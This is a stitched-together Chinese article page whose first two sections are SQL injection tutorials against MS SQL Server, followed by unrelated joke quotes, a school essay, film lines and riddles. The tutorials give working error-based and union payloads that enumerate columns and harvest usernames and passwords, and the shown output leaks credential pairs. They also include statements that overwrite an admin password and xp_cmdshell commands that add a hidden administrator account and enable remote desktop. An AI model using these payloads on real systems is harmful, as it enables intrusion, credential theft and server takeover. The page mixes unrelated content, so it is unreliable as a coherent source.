当前位置：首页 > 范文大全 > 实用文>暴列名的经典语句

暴列名的经典语句

2023-02-03 08:29:01 收藏本文下载本文

“人美心善开城嫂”通过精心收集，向本站投稿了7篇暴列名的经典语句，今天小编就给大家整理后的暴列名的经典语句，希望对大家的工作和学习有所帮助，欢迎阅读!

暴列名的经典语句

篇1：暴列名的经典语句

首先来抓包看一个PANGOLIN的暴列名的语句，十分经典：

SQL代码

1. GET /sql.asp?id=1 and (select top 1 cast(id as nvarchar(20))+char(124) from [pubs]..[sysobjects] where name=0x4400390039005f0054006d007000)=0-- 取得要暴列名的表的ID

3. GET /sql.asp?id=1 and (select cast(count(1) as varchar(10))+char(94) from [pubs]..[syscolumns] where id=757577737)=0-- 得到此表的列的数量

5. GET /sql.asp?id=1 and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from [pubs]..[syscolumns] where id=757577737 order by colid) t order by colid desc)=0-- 开始从syscolumns里面报列名了，

暴列名的经典语句

，

其它的注入工具也大同小异，都是从syscolumns里面取得列名。

但是，如果出于某些原因，我们无法从syscolumns表里面取得数据该怎么办？比如我们没有syscolumns表的select权限。

下面就是文章的重点了，其实说白了也就是一个函数的应用：

SQL代码

1. select 1 where 1=(select isnull(col_name(object_id('admin'),3),'meiyoucilie'))

上面这条语句表示得到admin表的第三个列的名称，并与1进行比较，结果肯定是会报错的，通过报错结果我们就可以将第三列的名字暴出来了，没有用到syscolumns表哦。

用到的是col_name函数，它有两个参数，第一个就是表的ID，第二个就是列的索引。这个索引是从1开始的。

如果指定索引的号不存在。比如admin表里面一共才三个列，结果索引传了个4进去，就会报错说

“meiyoucilie”

语句在SQL SERVER 的环境下测试通过。

新手在学习SQL SERVER时发现的小技巧，牛人请误见笑，如果有错误还请提出来。。

篇2：SQL构造语句暴字段

一、获得建立用户的表的名字和字段的名字；使用select语法的having子句，

**********************************************************************************

''having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_id'' 在选择列表中无效，因为该列未包含在聚合函数中，并且没有 GROUP BY 子句。

/football/reguser/check.asp，行26

成果：知道了表的名字reguser和第一个字段的名字reguser.reg_id。

二、通过字段放到group by子句找到字段名。

1、

**********************************************************************************

''group by reguser.reg_id having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_name'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_name字段

2、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_password'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_password字段

3、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_relname'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_relname字段

4、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_regtime'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_regtime字段

5、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_findme'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_findme字段

6、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_city'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_city字段

7、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_qq'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_qq字段

8、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_icq'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_icq字段

9、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_msn'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_msn字段

10、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_phone'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_phone字段

11、

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_class'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_class字段

12、

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_money'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_money字段

13、

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_regip'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_regip字段

14、

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_Estar'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中，

/football/reguser/check.asp，行26

成果：得到了reguser.reg_Estar字段

15、

**********************************************************************************

''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar having 1=1--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_Eend'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_Eend字段

16、

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_changeuser'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_changeuser字段

17、

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_changetime'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_changetime字段

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_logintime'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_logintime字段

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

列 ''reguser.reg_online'' 在选择列表中无效，因为该列既不包含在聚合函数中，也不包含在 GROUP BY 子句中。

/football/reguser/check.asp，行26

成果：得到了reguser.reg_online字段

**********************************************************************************

返回结果：

出现信息提示框；你还不是会员请注册

到这里一个表猜完。

三、确定列的类型。通过使用类型转化来实现：利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。

1、

**********************************************************************************

''union select sum(reguser.reg_name) from reguser--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e07''

sum or average aggregate 运算不能以 varchar 数据类型作为参数。

/football/reguser/check.asp，行26

成果：reguser.reg_name字段是数据类型varchar。

2、

**********************************************************************************

''union select sum(reguser.reg_id) from reguser--

**********************************************************************************

返回结果：

Microsoft OLE DB Provider for SQL Server 错误 ''80040e14''

包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。

/football/reguser/check.asp，行26

四、insert查询：

**********************************************************************************

'';insert into reguser values(666,''attacker'',''foobar'')--

**********************************************************************************

五、

''union select * from reguser where reguser.reg_name=''admin''--

'';select * from reguser where reguser.reg_name=''admin''--

'';updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''--

''union updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''--

六、从reguser表中读取用户名：

''union select min(reguser.reg_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''a''--

这句选择users表中username大于''a''中的最小值，并试图把它转化成一个整型数字：

收集密码：

''union select reguser.reg_password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''admin''--

''union select password,1,1,1 from users where username=''admin''--

1353570

创建了一个foo表，里面只有一个单独的列''ret''，里面存放着得到的用户名和密码的字符串

'';begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+reguser.reg_name+''/''+reguser.reg_password from reguser where reguser.reg_name>@ret select @ret as 1866574 into 1866574 end--

''union select ret,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from foo--

Microsoft OLE DB Provider for SQL Server 错误 ''80040e07''

将 varchar 值 '': 383838/989898 123456/234567 korea007/154085 风681168/13535701998 kyo327/woaini denglong/247986965'' 转换为数据类型为 int 的列时发生语法错误。

/football/reguser/check.asp，行26

'';drop table foo--

admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''--

=-= 加帐号 =-=

'';Exec master..xp_cmdshell ''net user''--

'';Exec master..xp_cmdshell ''net user jiaoniang$ 1866574 /add''--

'';Exec master..xp_cmdshell ''net localGroup Administrators jiaoniang$ /add''--

'';exec master..sp_addlogin jiaoniang$,1866574--

'';exec master..sp_addsrvrolemember jiaoniang$,sysadmin--

'';exec xp_regread HKEY_LOCAL_MACHINE,''SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'',''nullsessionshares''--

=-= 开服务 =-=

'';Exec master..xp_cmdshell ''net stat telnet''--

'';Exec master..xp_cmdshell ''net stat server''--

=-= 开3389 =-=

'';Exec master..xp_cmdshell “echo [Components] >c:\1866574”--

//在c盘根目录建写入一个文件

'';Exec master..xp_cmdshell “echo TsEnable = on >>c:\1866574”--

//追加写入

'';Exec master..xp_cmdshell “sysocmgr /i:c:\windows\inf\sysoc.inf /u:c:\1866574 /q”--

//开3389，成功的话过会肉机会重启！！

篇3：暴强语录

暴强语录

1、过去的东西是可以说不要就不要的吗？

2、不是谁什么都有，也不是谁什么都没有。

3、亲爱的朋友们，苊真羡慕迩们，这么年轻就认识苊啦。

4、感受到跟你踩着同样的土地，便觉得好安心。

5、开始天天不疲惫的躲在他的角落里，偶尔冒泡。

6、人和猪的区别就是：猪一直是猪，而人有时却不是人！

7、你不是我脑袋里的交警，无权干预我的走向。

8、如果有一天我下去了。记住，我会上来找你的。

9、春天我种下了一个女朋友，秋天我收获了一堆男人。

10、姐不是客服人员，你没权要求姐答这答那。

11、你有什么不开心的事，说出来让大家开心一下。

12、那谁，什么时候想娶媳妇了告诉我，我嫁你。

13、你骂，你继续骂，等骂够了给我讲一下，我先去睡觉！

14、锄禾日当午，上学真辛苦。已进入学校，罚站一下午。

15、不要吹牛逼，请把牛逼还给牛，因为牛也需要性生活。

16、人们都说头发长见识短，所以我决定去把头发剪短。

17、现在的人都赶潮流了。都喜欢用除臭袜罩着嘴巴说话了。

18、不是都实行男女平等了，凭什么哥就不能上女厕所。

19、我很从容的面对那些我不想理睬的一切，心知肚明。

20、刷牙是件悲喜交加的事。一手拿杯具一手拿洗具。

21、妈妈告诉我：你老公要是欺负你就让你祖爷爷把他带走。

22、老子来到这个世上，就没打算活着回去。

23、在街上看美女，高一点就是欣赏，低一点就是流氓。

24、某某人，你还欠我一个拥抱，请你赶快还给我。

25、执子之手，将子拖走。子若不走，拍晕了继续拖走。

26、因为我爱你，所以选择等你，无论怎样都愿意。

27、有一天，他和她，成了陌生人，且是最熟悉的。

篇4：暴强语录参考

暴强语录参考

1、告诉别人要节约的，一般都是别人浪费着他东西了。

2、成不了楷模，当个凯子也是可以的。

3、日出只要在日落前出现就好，上课只要在下课前到达就好。

4、世界是我们的，也是孩子们的，但最终是那帮孙子们的！

5、不是谁什么都有，也不是谁什么都没有。

6、感受到跟你踩着同样的土地，便觉得好安心。

7、这么多年，我对爱始终抱着怀孕的态度。

8、人总要犯错误的，否则正确之路人满为患。

9、开始天天不疲惫的躲在他的角落里，偶尔冒泡。

10、如果有一天我下去了。记住，我会上来找你的。

11、你不是我脑袋里的交警，无权干预我的走向。

12、人和猪的区别就是：猪一直是猪，而人有时却不是人！

13、你有什么不开心的事，说出来让大家开心一下。

14、老子来到这个世上，就没打算活着回去。

15、经营爱情就像玩游戏设定外挂的过程，不厌其烦的反复测试，反复重新设定，最后达成正果，外挂开始战斗。

16、有一天，他和她，成了陌生人，且是最熟悉的。

17、你长得有大多数人的第一代身份证的.气质。

18、那谁，什么时候想娶媳妇了告诉我，我嫁你。

19、执子之手，将子拖走。子若不走，拍晕了继续拖走。

20、某某人，你还欠我一个拥抱，请你赶快还给我。

21、人们都说头发长见识短，所以我决定去把头发剪短。

22、你骂，你继续骂，等骂够了给我讲一下，我先去睡觉！

23、在街上看美女，高一点就是欣赏，低一点就是流氓。

24、你可以像猪一样的生活，但你永远都不能像猪那样快乐！

25、亲爱的朋友们，苊真羡慕迩们，这么年轻就认识苊啦。

26、不要吹牛逼，请把牛逼还给牛，因为牛也需要性生活。

27、女孩按相貌可以分为三种：一种来自天上，一种来自民间，一种来自阴间。

28、不是都实行男女平等了，凭什么哥就不能上女厕所。

29、自从两个妓女自称是某名牌大学的毕业生后，我现在一般都自称文盲！

30、你要是鲜花，以后牛都不敢拉粪了！

31、我很从容的面对那些我不想理睬的一切，心知肚明。

32、想污染一个地方有两种方法：垃圾，或是钞票！

33、因为我爱你，所以选择等你，无论怎样都愿意。

34、锄禾日当午，上学真辛苦。已进入学校，罚站一下午。

35、妈妈告诉我：你老公要是欺负你就让你祖爷爷把他带走。

36、得道者多助，失道者寡妇。

37、如果猪都会飞了，谁还买飞机？骑着猪上天不就行了。

38、春天我种下了一个女朋友，秋天我收获了一堆男人。

39、给我一个支点，我把邻居那小子的汽车翘到沟里去，省得他见我就按喇叭。

40、贫僧是自东土大唐而来，专程去往西天拜佛求精的。

41、有困难要上，没困难创造困难也要上。

42、下雨了，别忘了打伞，湿身是小，淋病就麻烦啦！

43、车到山前必有路，哪怕山前拆车卖轱辘。

44、自从我变成一坨屎以后，再也没有人敢踩在我的头上。

45、按猪的审美观，我基本算得上是个帅哥。

46、闷骚就是自己对自己放荡。

47、用一个成语形容民工强奸女大学生：劫妇济贫。

48、中国只有两种人：公务员和务工人员。

49、请你一定要比我性福，才不枉费我狼狈为奸。

50、姐不是客服人员，你没权要求姐答这答那。

51、别以为老子还爱你，老子爱的是曾经的岁月。

52、现在你骂我，是因为你还不了解我，等你以后了解了我，你一定会动手打我的。

53、早起的鸟儿有虫吃，早起的虫儿被鸟吃！

54、我就算是一只癞蛤蟆，我也决不娶母癞蛤蟆。

55、喝白酒一斤，我绝对没感觉，因为喝半斤就已经喝死了。

56、不在课堂上沉睡，就在酒桌上埋醉。

篇5：暴雨作文

傍晚刚五点多钟，太阳就悄悄地钻进了厚厚的乌云中，藏了起来，乌云越积越多，越积越厚，遮住了天，也盖住了地。随着一阵狂风刮来，花盆里的花瓣就一片都不剩了，只有那向日葵的叶子在风中剧烈地摆动。过了一会儿，风渐渐地小了，接着又传来了一阵阵雷声。

天色越来越暗，雷声越来越大了。一道道闪电从空中划过，看来要下暴雨了。过了一会儿，果然就掉起雨点来了，那雨点简直有大豆那么大，转眼间落到地上又化成了水。空中的大雨就像一个巨大的雨帘，从天而降，地面上很快就积满了白亮亮的水，雨点落在上面又砸起了无数个水泡，

等了很久，雨停了，只有那闪电还不时一亮一亮的，偶尔还能听见几声向远方滚动的闷雷。啊!这真是一场暴雨。
简评：本文小作者记叙了自己在假日所观察，把下雨前后的情形写得很为逼真具体，读来富有真情实感。(辅导教师：雷有科)

篇6：《暴疯语》经典语录

《暴疯语》经典语录大全

《暴疯语》是李光耀执导，黄晓明、刘青云、薛凯琪、方中信主演的`一部动作惊悚电影。影片讲述的是范国生患有精神疾患，因病发作，杀害妻子。他经医生周明杰的治疗，痊愈并重返社会，不料再次失控，被警方锁定。

电影暴疯语经典台词语录黄晓明刘青云对白盘点

1、你想害死我啊——刘青云

2、你终于精神病患者是多痛苦啦？——刘青云

3、我肯定会把你治好的！——黄晓明

4、我怎么样再相信你？——黄晓明

5、其实有件事情我一直很想告诉你，不过只可以讲给你一个人听。——黄晓明

6、人不单只注重眼前一次，还有许多许多机会，你总会遇到许多压力，要学懂何时应放下。——刘青云

7、事实是怎样已经不重要，没有人会相信我们的！ ——刘青云

8、就是因为她你什么都没了！——薛凯琪

9、你不骚扰我便没压力！——黄晓明

10、你是不是很想取代我？是你叫电台主持打电话给我？你想太多了！--黄晓明

11、你要相信我。--刘青云

篇7：暴强脑筋急转弯

1. 芹菜的屎是什么颜色的?答案：黄色的!因为秦始皇(芹屎黄)

2. 四个人打麻将,被人举报,警察来抓人,为什么带走五个人(没有带走举报的)?答案：因为四个人在打一个名叫麻将的人

3. 猴子不喜欢什么线?答案：平行线!因为没有相交(香蕉)

4. 如果有一辆车,司机是王子,乘客是公主,那么这辆车是谁的?答案：是如果的,因为如果有一辆车

5. 一男和一女到海边讲笑话,结果都死了,为什么?答案：因为海啸了(海笑了),他们淹死了

6. 蓝色的枪和蓝色的刀,打一成语答案：刀枪不入(刀枪BLUE)

7. 第十一本书,打一成语答案：不可思议(BOOK 十一)

8. 狼\老虎和狮子玩游戏,谁最会被淘汰?答案：狼!因为有桃太郎

9. 太阳/月亮和星星,谁是哑巴?答案：星星!因为<鲁冰花>里是这样唱的:“天上的星星不说话!”

10. 怎样使麻雀安静下来?答案：压它一下!因为鸭雀无声

11. 咖啡杯和玻璃杯一起过马路,有人说了句:车子来了!“为什么玻璃杯被撞死了,咖啡杯却没有?答案：因为玻璃杯没耳朵,而咖啡杯有!

12. 忘情水是谁给的?答案：是”啊哈“ ,因为刘德华是这样唱的:啊哈!给我一杯忘情水!”

13. 狼\老虎和狮子玩游戏,谁最会被淘汰?答案：狼!因为有桃太郎

14. 咖啡杯和玻璃杯一起过马路,有人说了句:车子来了!"为什么玻璃杯被撞死了,咖啡杯却没有?答案：因为玻璃杯没耳朵,而咖啡杯有!

15. 米其林公司去某校招新人,面试题为:一只小鸟站在米高的电线杆上,为什么没电死.全校只有一生被录取,他的答案是那只小鸟穿着米其林牌橡胶鞋!

16. 有一个故事,开头很恐怖,中间很搞笑,结局很悲惨:从前有一个鬼,放了个屁,死掉了!

17. 现在的电话是按的,以前的电话是用手指插在数字孔里拨的.小明家那时就是用拨的,他家的电话号码是 ,经常有人会拨错,一天小明接到一个电话,是一个女的,她对小明说,能不能帮我打救助电话,小明问,为什么你自己不打呢,那女的回答,因为我只能拨这个号码,小明听了很害怕,忙挂了电话,可电话不断打过来,小明无奈又接了,那女的又向他求助,说求你了,我的手指卡在这个电话孔里了!

18. 两只番茄过马路,一辆卡车飞速驶过,一只番茄躲避不及,被压扁,另一只番茄指着那只被压扁的番茄大笑,哇哈哈~~~番茄酱诶!

【暴列名的经典语句】相关文章：

7.语句